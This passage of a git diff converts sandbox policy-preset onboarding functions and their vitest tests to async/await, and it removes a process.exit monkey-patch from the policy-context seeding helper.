it("stringifies non-Error throws so the log never silently drops the cause", async () => { const refresh = vi.fn(() => { throw "broken-string"; }); const logError = vi.fn(); - seedInitialPolicyContext("alpha", { refresh, logError }); + await seedInitialPolicyContext("alpha", { refresh, logError }); expect(logError.mock.calls[0][0]).toContain("broken-string"); }); - it("does not rethrow — the onboard run continues even when the refresh helper crashes", () => { + it("does not rethrow: the onboard run continues even when the refresh helper crashes", async () => { const refresh = vi.fn(() => { throw new Error("crash"); }); const logError = vi.fn(); - expect(() => seedInitialPolicyContext("alpha", { refresh, logError })).not.toThrow(); + await expect(seedInitialPolicyContext("alpha", { refresh, logError })).resolves.toBeUndefined(); }); - it("isolates process.exit calls inside refresh from the surrounding caller", () => { - // The refresh path can call `process.exit(1)` via the openshell spawn - // helpers. When the caller is rebuild.ts (which itself overrides - // process.exit to flag onboard failure), an unisolated exit corrupts - // the rebuild's recovery flag even though the seed is meant to be - // best-effort. The seed must shadow `process.exit` so any exit attempt - // the refresh path makes becomes a swallowed error. - const exitCalls: Array = []; - const installerExit = ((code?: number) => { - exitCalls.push(code); - throw new Error(`installer exit ${String(code)}`); - }) as typeof process.exit; + it("waits for deferred refresh failures without changing process.exit", async () => { const original = process.exit; - process.exit = installerExit; - - const refresh = vi.fn(() => { - // Mimic the openshell spawn-error path that calls process.exit(1). - process.exit(1); - }); const logError = vi.fn(); - - try { - seedInitialPolicyContext("alpha", { refresh, logError }); - } finally { - process.exit = original; - } - - // The installer-level process.exit must not have fired — the seed's - // own shadow replaced it for the duration of the refresh. - expect(exitCalls).toEqual([]); - expect(logError).toHaveBeenCalledTimes(1); - expect(logError.mock.calls[0][0]).toContain("process.exit(1)"); - }); - - it("restores process.exit after the refresh returns, regardless of throw or success", () => { - const original = process.exit; - const refresh = vi.fn(() => undefined); - - seedInitialPolicyContext("alpha", { refresh, logError: vi.fn() }); - expect(process.exit).toBe(original); - - const refreshThrows = vi.fn(() => { - throw new Error("boom"); + let rejectRefresh!: (error: Error) => void; + const pending = seedInitialPolicyContext("alpha", { + refresh: () => + new Promise((_resolve, reject) => { + rejectRefresh = reject; + }), + logError, }); - seedInitialPolicyContext("alpha", { refresh: refreshThrows, logError: vi.fn() }); + expect(process.exit).toBe(original); + rejectRefresh(new Error("deferred refresh failed")); + await pending; + expect(logError).toHaveBeenCalledExactlyOnceWith( + " [onboard] Could not seed sandbox policy context: deferred refresh failed", + ); expect(process.exit).toBe(original); }); }); diff --git a/src/lib/onboard/policy-context-seed.ts b/src/lib/onboard/policy-context-seed.ts index e3357ff78fc..7cf4c59e012 100644 --- a/src/lib/onboard/policy-context-seed.ts +++ b/src/lib/onboard/policy-context-seed.ts @@ -32,58 +32,27 @@ export interface SeedPolicyContextDeps { logError?: (message: string) => void; } -function defaultRefresh(sandboxName: string): unknown { +async function defaultRefresh(sandboxName: string): Promise { const mod = require("../actions/sandbox/policy-context-refresh") as { refreshSandboxPolicyContextFile: (name: string) => unknown; }; - return mod.refreshSandboxPolicyContextFile(sandboxName); + return await mod.refreshSandboxPolicyContextFile(sandboxName); } const defaultLog = (message: string): void => { console.error(message); }; -export function seedInitialPolicyContext( +export async function seedInitialPolicyContext( sandboxName: string, deps: SeedPolicyContextDeps = {}, -): void { +): Promise { const refresh = deps.refresh ?? defaultRefresh; const logError = deps.logError ?? defaultLog; - // The refresh path eventually reaches `executeSandboxCommand` → - // `captureSandboxSshConfig` → `captureOpenshellCommand`, which calls - // `process.exit(1)` from `handleSpawnError` on any `spawnSync`-level - // error (ENOENT, EMFILE, ETIMEDOUT, …) regardless of `ignoreError`. - // When the onboard host is rebuild.ts, that exit fires inside rebuild's - // overridden `process.exit` and corrupts the post-onboard recovery flag - // even though the seed is supposed to be best-effort. Shadow - // `process.exit` for the duration of the call so any exit attempt the - // refresh helper triggers becomes a thrown error we can swallow without - // leaking the exit signal to the surrounding onboard run. - // - // Removal condition: this monkey-patch must stay until - // `src/lib/adapters/openshell/client.ts:handleSpawnError` (and the - // `captureSandboxSshConfigCommand` / `captureOpenshellCommand` callers - // in `src/lib/adapters/openshell/runtime.ts`) grow a "non-exiting" - // mode for best-effort callers — at which point `executeSandboxCommand` - // can return `null` on spawn failure rather than exiting and the seed - // can drop the shadow. Refresh must remain synchronous as long as the - // shadow is in place; an async refresh would let the surrounding - // `process.exit = savedExit` restoration fire before a deferred - // callback runs, defeating the isolation. - const savedExit = process.exit; - process.exit = ((code: number | undefined): never => { - const message = - typeof code === "number" - ? `policy-context refresh attempted process.exit(${String(code)})` - : "policy-context refresh attempted process.exit()"; - throw new Error(message); - }) as typeof process.exit; try { - refresh(sandboxName); + await refresh(sandboxName); } catch (error: unknown) { const message = error instanceof Error ? error.message : String(error); logError(` [onboard] Could not seed sandbox policy context: ${message}`); - } finally { - process.exit = savedExit; } } diff --git a/src/lib/onboard/policy-preset-sync-finality.test.ts b/src/lib/onboard/policy-preset-sync-finality.test.ts index d2eefd45ae5..f53bc9b5469 100644 --- a/src/lib/onboard/policy-preset-sync-finality.test.ts +++ b/src/lib/onboard/policy-preset-sync-finality.test.ts @@ -1,7 +1,7 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { waitForPolicyMutation } from "./policy-preset-sync"; /** @@ -25,53 +25,42 @@ const UNCONFIRMED_ERROR_MESSAGE = const TRANSIENT_STARTUP_ERROR_MESSAGE = "sandbox not found: sb-9206"; describe("waitForPolicyMutation", () => { - let clockMs = 0; - let sleptMs: number[] = []; - beforeEach(() => { - // `waitUntil` measures its budget with Date.now and burns it in a blocking - // Atomics.wait. Driving one synthetic clock from the other keeps the real - // polling arithmetic while costing no wall-clock time. - clockMs = 1_700_000_000_000; - sleptMs = []; - vi.spyOn(Date, "now").mockImplementation(() => clockMs); - vi.spyOn(Atomics, "wait").mockImplementation((_typedArray, _index, _value, timeout) => { - const durationMs = typeof timeout === "number" ? timeout : 0; - sleptMs.push(durationMs); - clockMs += durationMs; - return "timed-out"; - }); + vi.useFakeTimers(); + }); + afterEach(() => { + vi.useRealTimers(); }); - it("attempts a rejected policy submission exactly once (#9206)", () => { + it("attempts a rejected policy submission exactly once (#9206)", async () => { let attempts = 0; const mutate = (): boolean => { attempts += 1; throw new Error(REJECTION_ERROR_MESSAGE); }; - expect(() => waitForPolicyMutation("applyPresets(weather)", mutate)).toThrow( - REJECTION_ERROR_MESSAGE, - ); + await expect( + (async () => await waitForPolicyMutation("applyPresets(weather)", mutate))(), + ).rejects.toThrow(REJECTION_ERROR_MESSAGE); expect(attempts).toBe(1); - expect(sleptMs).toEqual([]); + expect(vi.getTimerCount()).toBe(0); }); - it("attempts a policy submission with an unconfirmed result exactly once (#9206)", () => { + it("attempts a policy submission with an unconfirmed result exactly once (#9206)", async () => { let attempts = 0; const mutate = (): boolean => { attempts += 1; throw new Error(UNCONFIRMED_ERROR_MESSAGE); }; - expect(() => waitForPolicyMutation("applyPresets(weather)", mutate)).toThrow( - UNCONFIRMED_ERROR_MESSAGE, - ); + await expect( + (async () => await waitForPolicyMutation("applyPresets(weather)", mutate))(), + ).rejects.toThrow(UNCONFIRMED_ERROR_MESSAGE); expect(attempts).toBe(1); - expect(sleptMs).toEqual([]); + expect(vi.getTimerCount()).toBe(0); }); - it("keeps re-polling a sandbox that has not appeared yet until the mutation lands (#9206)", () => { + it("keeps re-polling a sandbox that has not appeared yet until the mutation lands (#9206)", async () => { const behaviours: ReadonlyArray<() => boolean> = [ () => { throw new Error(TRANSIENT_STARTUP_ERROR_MESSAGE); @@ -88,22 +77,24 @@ describe("waitForPolicyMutation", () => { return behaviour(); }; - expect(() => waitForPolicyMutation("applyPreset(slack)", mutate)).not.toThrow(); + const pending = waitForPolicyMutation("applyPreset(slack)", mutate); + await vi.advanceTimersByTimeAsync(2 * MUTATION_POLL_INTERVAL_MS); + await expect(pending).resolves.toBeUndefined(); expect(attempts).toBe(3); - expect(sleptMs).toEqual([MUTATION_POLL_INTERVAL_MS, MUTATION_POLL_INTERVAL_MS]); + expect(vi.getTimerCount()).toBe(0); }); - it("attempts a policy mutation that returns false exactly once (#9206)", () => { + it("attempts a policy mutation that returns false exactly once (#9206)", async () => { let attempts = 0; const mutate = (): boolean => { attempts += 1; return false; }; - expect(() => waitForPolicyMutation("applyPreset(slack)", mutate)).toThrow( - "applyPreset(slack) returned false", - ); + await expect( + (async () => await waitForPolicyMutation("applyPreset(slack)", mutate))(), + ).rejects.toThrow("applyPreset(slack) returned false"); expect(attempts).toBe(1); - expect(sleptMs).toEqual([]); + expect(vi.getTimerCount()).toBe(0); }); }); diff --git a/src/lib/onboard/policy-preset-sync.ts b/src/lib/onboard/policy-preset-sync.ts index 2f18608e65a..2cfe8ac6627 100644 --- a/src/lib/onboard/policy-preset-sync.ts +++ b/src/lib/onboard/policy-preset-sync.ts @@ -2,14 +2,17 @@ // SPDX-License-Identifier: Apache-2.0 const policies: typeof import("../policy") = require("../policy"); -const { waitUntil }: typeof import("../core/wait") = require("../core/wait"); +const { waitUntilAsync }: typeof import("../core/wait") = require("../core/wait"); -function waitForPolicyMutation(description: string, mutate: () => boolean | void): void { +async function waitForPolicyMutation( + description: string, + mutate: () => boolean | void | Promise, +): Promise { let lastError: Error | null = null; - const success = waitUntil( - () => { + const success = await waitUntilAsync( + async () => { try { - const result = mutate(); + const result = await mutate(); if (result === false) { throw new Error(`${description} returned false`); } @@ -39,19 +42,22 @@ function waitForPolicyMutation(description: string, mutate: () => boolean | void * - apply presets in `target` but not in `applied` (widen) * - leave unchanged presets untouched (no wasteful re-apply) */ -function syncPresetSelection( +async function syncPresetSelection( sandboxName: string, applied: string[], target: string[], accessByName: Record | null = null, -): void { +): Promise { const targetSet = new Set(target); const appliedSet = new Set(applied); const deselected = applied.filter((name) => !targetSet.has(name)); const newlySelected = target.filter((name) => !appliedSet.has(name)); for (const name of deselected) { - waitForPolicyMutation(`removePreset(${name})`, () => policies.removePreset(sandboxName, name)); + await waitForPolicyMutation( + `removePreset(${name})`, + async () => await policies.removePreset(sandboxName, name), + ); } if (!accessByName) { @@ -60,22 +66,27 @@ function syncPresetSelection( const remainingNewlySelected = newlySelected.filter((name) => !builtInPresetNames.has(name)); if (builtInNewlySelected.length > 0 && remainingNewlySelected.length === 0) { - waitForPolicyMutation(`applyPresets(${builtInNewlySelected.join(",")})`, () => - policies.applyPresets(sandboxName, builtInNewlySelected), + await waitForPolicyMutation( + `applyPresets(${builtInNewlySelected.join(",")})`, + async () => await policies.applyPresets(sandboxName, builtInNewlySelected), ); return; } for (const name of newlySelected) { - waitForPolicyMutation(`applyPreset(${name})`, () => policies.applyPreset(sandboxName, name)); + await waitForPolicyMutation( + `applyPreset(${name})`, + async () => await policies.applyPreset(sandboxName, name), + ); } return; } for (const name of newlySelected) { const options = { access: accessByName[name] }; - waitForPolicyMutation(`applyPreset(${name})`, () => - policies.applyPreset(sandboxName, name, options), + await waitForPolicyMutation( + `applyPreset(${name})`, + async () => await policies.applyPreset(sandboxName, name, options), ); } } diff --git a/src/lib/onboard/policy-resume-selection.test.ts b/src/lib/onboard/policy-resume-selection.test.ts index 6ec2e0f2fe4..4e79767747e 100644 --- a/src/lib/onboard/policy-resume-selection.test.ts +++ b/src/lib/onboard/policy-resume-selection.test.ts @@ -38,12 +38,12 @@ function policies( }; } -function prepare( +async function prepare( livePolicyPresets: string[], provider: "brave" | "tavily", webSearchConfigChanged = false, ) { - return preparePolicyPresetResumeSelection( + return await preparePolicyPresetResumeSelection( { policies: policies({ applied: livePolicyPresets }) }, "alpha", { @@ -56,29 +56,29 @@ function prepare( } describe("preparePolicyPresetResumeSelection web search reconciliation", () => { - it("replaces stale Brave policy with Tavily during a provider switch", () => { - const result = prepare(["brave"], "tavily"); + it("replaces stale Brave policy with Tavily during a provider switch", async () => { + const result = await prepare(["brave"], "tavily"); expect(result.policyPresets).toEqual(["tavily"]); expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("adds Tavily when web search becomes enabled on resume", () => { - const result = prepare(["npm"], "tavily", true); + it("adds Tavily when web search becomes enabled on resume", async () => { + const result = await prepare(["npm"], "tavily", true); expect(result.policyPresets).toEqual(["npm", "tavily"]); expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("preserves an intentionally removed provider preset when configuration is unchanged", () => { - const result = prepare(["npm"], "tavily"); + it("preserves an intentionally removed provider preset when configuration is unchanged", async () => { + const result = await prepare(["npm"], "tavily"); expect(result.policyPresets).toEqual(["npm"]); expect(result.livePolicyPresetsNeedUpdate).toBe(false); }); - it("preserves an operator-owned preset name while adding the active provider", () => { - const result = preparePolicyPresetResumeSelection( + it("preserves an operator-owned preset name while adding the active provider", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["brave"], custom: ["brave"] }) }, "alpha", { @@ -97,8 +97,8 @@ describe("preparePolicyPresetResumeSelection web search reconciliation", () => { describe("preparePolicyPresetResumeSelection required preset reconciliation", () => { it.each(["openclaw", "hermes", "langchain-deepagents-code", "pi"])( "repairs a Personal live policy missing its tier-defining preset: %s", - (agent) => { - const result = preparePolicyPresetResumeSelection( + async (agent) => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm"] }) }, "alpha", { @@ -114,8 +114,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () }, ); - it("returns the Personal requirement when the legacy live policy is null", () => { - const result = preparePolicyPresetResumeSelection({ policies: policies() }, "alpha", { + it("returns the Personal requirement when the legacy live policy is null", async () => { + const result = await preparePolicyPresetResumeSelection({ policies: policies() }, "alpha", { agent: "pi", tierName: "personal", webSearchConfig: null, @@ -125,8 +125,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () expect(result.policyPresets).toEqual(["personal-open-internet"]); }); - it("marks an explicit empty Personal live policy for reconciliation", () => { - const result = preparePolicyPresetResumeSelection( + it("marks an explicit empty Personal live policy for reconciliation", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: [] }) }, "alpha", { @@ -141,8 +141,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("marks an empty live policy for reconciliation when Slack becomes required (#6042)", () => { - const result = preparePolicyPresetResumeSelection( + it("marks an empty live policy for reconciliation when Slack becomes required (#6042)", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: [] }) }, "alpha", { @@ -157,8 +157,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("removes a stale Hermes Slack preset when no messaging channel is enabled", () => { - const result = preparePolicyPresetResumeSelection( + it("removes a stale Hermes Slack preset when no messaging channel is enabled", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "slack"] }) }, "alpha", { @@ -173,8 +173,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("keeps only the enabled Hermes messaging preset during resume", () => { - const result = preparePolicyPresetResumeSelection( + it("keeps only the enabled Hermes messaging preset during resume", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "slack", "discord"] }) }, "alpha", { @@ -189,8 +189,8 @@ describe("preparePolicyPresetResumeSelection required preset reconciliation", () expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("preserves custom ownership of an inactive Hermes messaging preset name", () => { - const result = preparePolicyPresetResumeSelection( + it("preserves custom ownership of an inactive Hermes messaging preset name", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "slack"], custom: ["slack"] }) }, "alpha", { @@ -210,8 +210,8 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", // These exercise canonical tiers.yaml membership without a tier stub: `brave` // is a Balanced default, and Restricted lists no such default. - it("preserves brave on reuse when it is a Balanced-tier default and web search is off", () => { - const result = preparePolicyPresetResumeSelection( + it("preserves brave on reuse when it is a Balanced-tier default and web search is off", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "brave"] }) }, "alpha", { @@ -228,8 +228,8 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", expect(result.livePolicyPresetsNeedUpdate).toBe(false); }); - it("still prunes a stale brave on the Restricted tier (no brave default)", () => { - const result = preparePolicyPresetResumeSelection( + it("still prunes a stale brave on the Restricted tier (no brave default)", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "brave"] }) }, "alpha", { @@ -244,8 +244,8 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", expect(result.livePolicyPresetsNeedUpdate).toBe(true); }); - it("keeps brave on Balanced even when web search is set to a different provider", () => { - const result = preparePolicyPresetResumeSelection( + it("keeps brave on Balanced even when web search is set to a different provider", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "brave"] }) }, "alpha", { @@ -261,11 +261,11 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", expect(result.policyPresets).toEqual(["npm", "brave", "tavily"]); }); - it("still prunes tavily on Balanced when it is not a tier default and web search is off", () => { + it("still prunes tavily on Balanced when it is not a tier default and web search is off", async () => { // Boundary: the exemption is scoped to real tier defaults. tavily is NOT a // Balanced default (brave is), so a leftover tavily with no matching provider // is still a stale web-search preset and must be pruned. - const result = preparePolicyPresetResumeSelection( + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "tavily"] }) }, "alpha", { @@ -282,8 +282,8 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", it.each(["hermes", "langchain-deepagents-code"])( "prunes OpenClaw-only brave from a Balanced-tier %s resume", - (agent) => { - const result = preparePolicyPresetResumeSelection( + async (agent) => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "brave"] }) }, "alpha", { @@ -301,8 +301,8 @@ describe("preparePolicyPresetResumeSelection tier-default preservation (#6844)", }); describe("preparePolicyPresetResumeSelection observability reconciliation", () => { - it("adds the local OTLP preset only while Deep Agents Code observability is enabled", () => { - const enabled = preparePolicyPresetResumeSelection( + it("adds the local OTLP preset only while Deep Agents Code observability is enabled", async () => { + const enabled = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm"] }) }, "alpha", { @@ -312,7 +312,7 @@ describe("preparePolicyPresetResumeSelection observability reconciliation", () = webSearchSupported: true, }, ); - const disabled = preparePolicyPresetResumeSelection( + const disabled = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm", "observability-otlp-local"] }) }, "alpha", { @@ -329,8 +329,8 @@ describe("preparePolicyPresetResumeSelection observability reconciliation", () = expect(disabled.livePolicyPresetsNeedUpdate).toBe(true); }); - it("suppresses the enabled local OTLP preset on the restricted tier", () => { - const result = preparePolicyPresetResumeSelection( + it("suppresses the enabled local OTLP preset on the restricted tier", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["npm"] }) }, "alpha", { @@ -345,8 +345,8 @@ describe("preparePolicyPresetResumeSelection observability reconciliation", () = expect(result.policyPresets).toEqual(["npm"]); }); - it("keeps exact custom OTLP ownership without carrying built-in attribution on resume", () => { - const result = preparePolicyPresetResumeSelection( + it("keeps exact custom OTLP ownership without carrying built-in attribution on resume", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["observability-otlp-local", "corp-otel"], @@ -367,8 +367,8 @@ describe("preparePolicyPresetResumeSelection observability reconciliation", () = expect(result.livePolicyPresetsNeedUpdate).toBe(false); }); - it("preserves same-name different-key custom collision semantics on resume", () => { - const result = preparePolicyPresetResumeSelection( + it("preserves same-name different-key custom collision semantics on resume", async () => { + const result = await preparePolicyPresetResumeSelection( { policies: policies({ applied: ["observability-otlp-local"], diff --git a/src/lib/onboard/policy-resume-selection.ts b/src/lib/onboard/policy-resume-selection.ts index b3c08f0f786..60b9c0547cc 100644 --- a/src/lib/onboard/policy-resume-selection.ts +++ b/src/lib/onboard/policy-resume-selection.ts @@ -34,10 +34,13 @@ type PoliciesApi = { listSetupPolicyPresets( sandboxName: string, options?: { webSearchSupported?: boolean | null; agent?: string | null }, - ): Preset[]; - listCustomPresets(sandboxName: string): Preset[]; - getAppliedPresets(sandboxName: string): string[]; - customPresetOwnsNetworkPolicyKey?(sandboxName: string, policyKey: string): boolean; + ): Preset[] | Promise; + listCustomPresets(sandboxName: string): Preset[] | Promise; + getAppliedPresets(sandboxName: string): string[] | Promise; + customPresetOwnsNetworkPolicyKey?( + sandboxName: string, + policyKey: string, + ): boolean | Promise; clampSetupPolicyPresetNames( names: string[], selectablePresets: Preset[], @@ -53,7 +56,7 @@ export type PreparedPolicyResumeSelection = { suppressedAgentRequiredPresetsLive: boolean; }; -export function preparePolicyPresetResumeSelection( +export async function preparePolicyPresetResumeSelection( deps: { policies: PoliciesApi }, sandboxName: string, options: { @@ -68,17 +71,17 @@ export function preparePolicyPresetResumeSelection( env?: NodeJS.ProcessEnv; tierName?: string | null; }, -): PreparedPolicyResumeSelection { +): Promise { const supportOptions = { webSearchSupported: options.webSearchSupported, agent: options.agent }; const customPolicyPresetNames = new Set( - deps.policies.listCustomPresets(sandboxName).map((preset) => preset.name), + (await deps.policies.listCustomPresets(sandboxName)).map((preset) => preset.name), ); const customOwnsObservability = - deps.policies.customPresetOwnsNetworkPolicyKey?.( + (await deps.policies.customPresetOwnsNetworkPolicyKey?.( sandboxName, OBSERVABILITY_OTLP_LOCAL_POLICY_PRESET, - ) === true; - const rawAppliedPolicyPresets = deps.policies.getAppliedPresets(sandboxName); + )) === true; + const rawAppliedPolicyPresets = await deps.policies.getAppliedPresets(sandboxName); const appliedPolicyPresets = customOwnsObservability ? [...new Set(rawAppliedPolicyPresets)].filter( (name) => @@ -88,7 +91,7 @@ export function preparePolicyPresetResumeSelection( : rawAppliedPolicyPresets; const selectablePolicyPresets = [ ...filterSetupPolicyPresetsForAgent( - deps.policies.listSetupPolicyPresets(sandboxName, supportOptions), + await deps.policies.listSetupPolicyPresets(sandboxName, supportOptions), options.agent, ), ...filterSetupPolicyPresetNamesForAgent(appliedPolicyPresets, options.agent).map((name) => ({ diff --git a/src/lib/onboard/policy-selection-application.test.ts b/src/lib/onboard/policy-selection-application.test.ts index d31e717d8ca..9341804e680 100644 --- a/src/lib/onboard/policy-selection-application.test.ts +++ b/src/lib/onboard/policy-selection-application.test.ts @@ -82,12 +82,12 @@ describe("onboarding policy application", () => { describe("non-interactive selection with a previously-applied channel preset", () => { function createApplication(env: Record) { - vi.mocked(policies.listSetupPolicyPresets).mockReturnValue([ + vi.mocked(policies.listSetupPolicyPresets).mockResolvedValue([ { name: "npm" }, { name: "pypi" }, { name: "discord" }, - ] as ReturnType); - vi.mocked(policies.getAppliedPresets).mockReturnValue(["npm", "pypi", "discord"]); + ] as Awaited>); + vi.mocked(policies.getAppliedPresets).mockResolvedValue(["npm", "pypi", "discord"]); syncPresetSelection.mockImplementation(() => undefined); seedInitialPolicyContext.mockImplementation(() => undefined); return createOnboardPolicyApplication({ @@ -197,7 +197,7 @@ describe("onboarding policy application", () => { it("adds an enabled channel preset when policy selection is skipped (#10153)", async () => { const application = createApplication({ NEMOCLAW_POLICY_MODE: "skip" }); - vi.mocked(policies.getAppliedPresets).mockReturnValue([]); + vi.mocked(policies.getAppliedPresets).mockResolvedValue([]); await expect( application.setupPoliciesWithSelection("alpha", { diff --git a/src/lib/onboard/policy-selection.ts b/src/lib/onboard/policy-selection.ts index c3a9dc3a285..481c9bff3be 100644 --- a/src/lib/onboard/policy-selection.ts +++ b/src/lib/onboard/policy-selection.ts @@ -74,10 +74,16 @@ type Preset = { name: string; access?: string }; type SupportOptions = { webSearchSupported?: boolean | null; agent?: string | null }; type PoliciesApi = { setupPolicyPresetSupported(name: string, options?: SupportOptions): boolean; - listSetupPolicyPresets(sandboxName: string, options?: SupportOptions): Preset[]; - listCustomPresets(sandboxName: string): Preset[]; - getAppliedPresets(sandboxName: string): string[]; - customPresetOwnsNetworkPolicyKey?(sandboxName: string, policyKey: string): boolean; + listSetupPolicyPresets( + sandboxName: string, + options?: SupportOptions, + ): Preset[] | Promise; + listCustomPresets(sandboxName: string): Preset[] | Promise; + getAppliedPresets(sandboxName: string): string[] | Promise; + customPresetOwnsNetworkPolicyKey?( + sandboxName: string, + policyKey: string, + ): boolean | Promise; clampSetupPolicyPresetNames( names: string[], selectablePresets: Preset[], @@ -137,7 +143,7 @@ export type SetupPolicySelectionDeps = { currentAppliedPresets: string[], selectedPresets: string[], accessByName?: Record, - ) => void; + ) => void | Promise; selectPolicyTier: () => Promise; selectTierPresetsAndAccess: ( tierName: string, @@ -182,9 +188,12 @@ export function createOnboardPolicyApplication(deps: OnboardPolicyApplicationDep }; return { - arePolicyPresetsApplied(sandboxName: string, selectedPresets: string[] = []): boolean { + async arePolicyPresetsApplied( + sandboxName: string, + selectedPresets: string[] = [], + ): Promise { if (!Array.isArray(selectedPresets) || selectedPresets.length === 0) return false; - const applied = new Set(policies.getAppliedPresets(sandboxName)); + const applied = new Set(await policies.getAppliedPresets(sandboxName)); return selectedPresets.every((preset) => applied.has(preset)); }, computeSetupPresetSuggestions( @@ -204,11 +213,11 @@ export function createOnboardPolicyApplication(deps: OnboardPolicyApplicationDep filterSetupPolicyPresets: policies.filterSetupPolicyPresets, getSuggestedPolicyPresets, mergePolicyMessagingChannels, - preparePolicyPresetResumeSelection( + async preparePolicyPresetResumeSelection( sandboxName: string, options: Parameters[2], - ): PreparedPolicyResumeSelection { - return preparePolicyPresetResumeSelection({ policies }, sandboxName, options); + ): Promise { + return await preparePolicyPresetResumeSelection({ policies }, sandboxName, options); }, presetsCheckboxSelector, resolveSandboxBaselinePolicy: policies.resolveSandboxBaselinePolicy, @@ -339,7 +348,7 @@ export async function setupPoliciesWithSelection( const chosen = await withPolicyApplicationTrace(sandboxName, options, () => setupPoliciesWithSelectionInner(deps, sandboxName, options), ); - seedInitialPolicyContext(sandboxName); + await seedInitialPolicyContext(sandboxName); return chosen; } @@ -408,19 +417,19 @@ async function setupPoliciesWithSelectionInner( const supportOptions = { webSearchSupported: options.webSearchSupported, agent }; const allPresets = filterSetupPolicyPresetsForAgent( - deps.policies.listSetupPolicyPresets(sandboxName, supportOptions), + await deps.policies.listSetupPolicyPresets(sandboxName, supportOptions), agent, ).filter((preset) => !excludedPresets.has(preset.name)); const knownPresets = new Set(allPresets.map((preset) => preset.name)); const customPresetNames = new Set( - deps.policies.listCustomPresets(sandboxName).map((preset) => preset.name), + (await deps.policies.listCustomPresets(sandboxName)).map((preset) => preset.name), ); const customOwnsObservability = - deps.policies.customPresetOwnsNetworkPolicyKey?.( + (await deps.policies.customPresetOwnsNetworkPolicyKey?.( sandboxName, OBSERVABILITY_OTLP_LOCAL_POLICY_PRESET, - ) === true; - const rawCurrentAppliedPresets = deps.policies.getAppliedPresets(sandboxName); + )) === true; + const rawCurrentAppliedPresets = await deps.policies.getAppliedPresets(sandboxName); const currentAppliedPresets = customOwnsObservability ? [...new Set(rawCurrentAppliedPresets)].filter( (name) => @@ -499,7 +508,7 @@ async function setupPoliciesWithSelectionInner( options.revalidateSandboxIdentity?.( `reapply selected policy presets to sandbox '${sandboxName}'`, ); - deps.syncPresetSelection(sandboxName, currentAppliedPresets, resumeSelection); + await deps.syncPresetSelection(sandboxName, currentAppliedPresets, resumeSelection); await requireSandboxReady(deps, sandboxName, "after"); if (onSelection) onSelection(resumeSelection); return resumeSelection; @@ -579,7 +588,7 @@ async function setupPoliciesWithSelectionInner( options.revalidateSandboxIdentity?.( `apply retained policy presets to sandbox '${sandboxName}'`, ); - deps.syncPresetSelection(sandboxName, currentAppliedPresets, retainedPresets); + await deps.syncPresetSelection(sandboxName, currentAppliedPresets, retainedPresets); await requireSandboxReady(deps, sandboxName, "after"); if (onSelection) onSelection(retainedPresets); return retainedPresets; @@ -666,7 +675,7 @@ async function setupPoliciesWithSelectionInner( options.revalidateSandboxIdentity?.( `apply non-interactive policy presets to sandbox '${sandboxName}'`, ); - deps.syncPresetSelection(sandboxName, currentAppliedPresets, chosen); + await deps.syncPresetSelection(sandboxName, currentAppliedPresets, chosen); await requireSandboxReady(deps, sandboxName, "after"); if (onSelection) onSelection(chosen); return chosen; @@ -715,7 +724,12 @@ async function setupPoliciesWithSelectionInner( if (interactiveChoiceNames.has(preset.name)) accessByName[preset.name] = preset.access; } options.revalidateSandboxIdentity?.(`apply policy presets to sandbox '${sandboxName}'`); - deps.syncPresetSelection(sandboxName, currentAppliedPresets, interactiveChoice, accessByName); + await deps.syncPresetSelection( + sandboxName, + currentAppliedPresets, + interactiveChoice, + accessByName, + ); await requireSandboxReady(deps, sandboxName, "after"); if (onSelection) onSelection(interactiveChoice); return interactiveChoice; diff --git a/src/lib/policy/context-builder.ts b/src/lib/policy/context-builder.ts index a0627f64207..f858167adbe 100644 --- a/src/lib/policy/context-builder.ts +++ b/src/lib/policy/context-builder.ts @@ -114,13 +114,13 @@ function resolveVerification( * Custom and built-in preset presence is derived from the current OpenShell * policy. NemoClaw does not maintain a second activation list. */ -function partitionPresets( +async function partitionPresets( sandboxName: string, applied: ReadonlySet, gatewayPresets: ReadonlyArray | null, -): { active: PolicyContextPreset[]; unapplied: PolicyContextPreset[] } { +): Promise<{ active: PolicyContextPreset[]; unapplied: PolicyContextPreset[] }> { const builtin = listPresets(); - const customInfo = listCustomPresets(sandboxName); + const customInfo = await listCustomPresets(sandboxName); const active: PolicyContextPreset[] = []; const unapplied: PolicyContextPreset[] = []; 